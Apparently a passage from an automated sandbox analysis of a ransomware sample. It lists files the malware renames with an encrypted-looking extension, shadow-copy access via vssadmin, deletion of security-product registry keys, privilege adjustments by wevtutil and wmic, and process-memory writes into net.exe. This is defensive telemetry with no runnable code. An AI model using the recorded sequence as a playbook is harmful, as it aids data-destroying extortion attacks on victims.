File opened for modification C:\Program Files\WindowsApps\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\Assets\GetStartedLargeTile.scale-100_contrast-white.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\ThemePreview\Effects\Particles.jpg C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.reconciler.dropins_1.1.200.v20131119-0908.jar.teq__qPGXvurY95OdN96HYu83yb49Ywc6eQ51JxWngn__hr3MOGXvRc0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-snaptracer.jar.teq__qPGXvurY95OdN96HYu83yb49Ywc6eQ51JxWngn_Ey8vPtuFp_k0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProjectStd2019R_OEM_Perp-pl.xrm-ms.teq__qPGXvurY95OdN96HYu83yb49Ywc6eQ51JxWngn_piVO-MjD_mk0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\PilotsHubApp.BackgroundWorker.winmd C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\TimerSmallTile.contrast-black_scale-100.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Smart Tag\LISTS\1033\TIME.XML.teq__qPGXvurY95OdN96HYu83yb49Ywc6eQ51JxWngn_12tREgX--Sc0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\Assets\Catalog\shape_cone.3mf C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\AppTiles\contrast-black\Weather_TileWide.scale-100.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\_Resources\0.rsrc C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\GamePlayAssets\guidailychallenge.respack C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\small\pw_16x11.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-modules-masterfs.xml.teq__qPGXvurY95OdN96HYu83yb49Ywc6eQ51JxWngn_C8D8bpztXu00.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-jvmstat_zh_CN.jar.teq__qPGXvurY95OdN96HYu83yb49Ywc6eQ51JxWngn_QmX6_lKnxXs0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\microsoft.system.package.metadata\Autogen\JSByteCodeCache_32 C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-125_8wekyb3d8bbwe\AppxSignature.p7x C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\Awards\klondike\Ice_Castle_.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\5313_32x32x32.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\small\ni_16x11.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\MondoR_ViewOnly_ZeroGrace-ppd.xrm-ms.teq__qPGXvurY95OdN96HYu83yb49Ywc6eQ51JxWngn_1TZRoFxDBjA0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProjectStd2019VL_MAK_AE-ul-oob.xrm-ms.teq__qPGXvurY95OdN96HYu83yb49Ywc6eQ51JxWngn_CypknatejtE0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\VisioPro2019XC2RVL_MAKC2R-ppd.xrm-ms.teq__qPGXvurY95OdN96HYu83yb49Ywc6eQ51JxWngn_WDZm2vMeAHI0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\DCF\en\DatabaseCompare_col.hxc.teq__qPGXvurY95OdN96HYu83yb49Ywc6eQ51JxWngn_kAaZ9D2NkyM0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\SharpDXEngine\Rendering\Shaders\Builtin\HLSL\Colored.fx C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\SkypeApp\Assets\SkypeAppList.scale-100_contrast-black.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\large\ai_60x42.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\Assets\WindowsIcons\WindowsCameraAppList.targetsize-64.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.model.workbench.nl_zh_4.4.0.v20140623020002.jar.teq__qPGXvurY95OdN96HYu83yb49Ywc6eQ51JxWngn_d4WlqXMY-ME0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\ext\access-bridge-64.jar.teq__qPGXvurY95OdN96HYu83yb49Ywc6eQ51JxWngn_KlOBjvxHZ8E0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsSoundRecorder_10.1702.301.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\VoiceRecorderAppList.scale-200.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-200_8wekyb3d8bbwe\Assets\AppList.scale-200.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\Assets\Images\Stickers\Thumbnails\Sticker_Icon_Glasses.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\Assets\OneConnectAppList.targetsize-16.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\large\gh_60x42.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\large\xk_60x42.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.frameworkadmin.nl_ja_4.4.0.v20140623020002.jar.teq__qPGXvurY95OdN96HYu83yb49Ywc6eQ51JxWngn_LF3wcmynsGU0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\rsod\office.x-none.msi.16.x-none.tree.dat.teq__qPGXvurY95OdN96HYu83yb49Ywc6eQ51JxWngn_M1EAPTiin2Y0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-125_8wekyb3d8bbwe\Assets\WideLogo.scale-125.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\Assets\contrast-black\AppPackageAppList.targetsize-60_contrast-black.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\large\mg_60x42.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\Assets\AlarmsAppList.contrast-black_targetsize-256_altform-unplated.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\resources.jar.teq__qPGXvurY95OdN96HYu83yb49Ywc6eQ51JxWngn_-KZrXo7Ocbc0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\ECLIPSE\ECLIPSE.ELM.teq__qPGXvurY95OdN96HYu83yb49Ywc6eQ51JxWngn_uu08RAdJjEg0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\Fues\Popup_shadow_2.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\_Resources\10.rsrc C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\Assets\GamesXboxHubAppList.targetsize-80_altform-unplated.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-core-ui.jar.teq__qPGXvurY95OdN96HYu83yb49Ywc6eQ51JxWngn_ja79mzkBeCo0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\VisioStdVL_KMS_Client-ul.xrm-ms.teq__qPGXvurY95OdN96HYu83yb49Ywc6eQ51JxWngn_IXZqTXjoyBk0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\POWERPNT_K_COL.HXK.teq__qPGXvurY95OdN96HYu83yb49Ywc6eQ51JxWngn_iQ770wgN5VM0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\Assets\AppTiles\contrast-black\Weather_TileSmallSquare.scale-200.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Arkadium.Win10.DailyChallenges\Assets\PrizeHistory\awards_badge_base.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Arkadium.Win10.StarClub\Assets\Star-Club-button_gold.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\background_gradient_2.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\en-us\onenote_whatsnew.xml C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winXPTSFrame.png.teq__qPGXvurY95OdN96HYu83yb49Ywc6eQ51JxWngn_XLlkxsEY1U80.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\PersonalPipcDemoR_BypassTrial365-ul-oob.xrm-ms.teq__qPGXvurY95OdN96HYu83yb49Ywc6eQ51JxWngn_ToZ_irFkBm00.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A

Launches sc.exe

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\vssadmin.exe N/A

Modifies registry class

Description Indicator Process Target
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\EPP C:\Windows\SYSTEM32\reg.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\EPP C:\Windows\SYSTEM32\reg.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\ContextMenuHandlers\EPP C:\Windows\SYSTEM32\reg.exe N/A

Runs net.exe

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeSecurityPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2224 wrote to memory of 2768 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\net.exe
PID 2224 wrote to memory of 2768 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\net.exe
PID 2768 wrote to memory of 3432 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2768 wrote to memory of 3432 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2224 wrote to memory of 1540 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\net.exe
PID 2224 wrote to memory of 1540 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\net.exe
PID 1540 wrote to memory of 1356 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 1540 wrote to memory of 1356 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2224 wrote to memory of 580 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\net.exe
PID 2224 wrote to memory of 580 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\net.exe
PID 580 wrote to memory of 2304 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 580 wrote to memory of 2304 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2224 wrote to memory of 2316 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\net.exe
PID 2224 wrote to memory of 2316 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\net.exe
PID 2316 wrote to memory of 584 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2316 wrote to memory of 584 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2224 wrote to memory of 4000 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\net.exe
PID 2224 wrote to memory of 4000 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\net.exe
PID 4000 wrote to memory of 4092 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 4000 wrote to memory of 4092 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2224 wrote to memory of 988 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\net.exe
PID 2224 wrote to memory of 988 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\net.exe
PID 988 wrote to memory of 3584 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 988 wrote to memory of 3584 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2224 wrote to memory of 636 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\net.exe
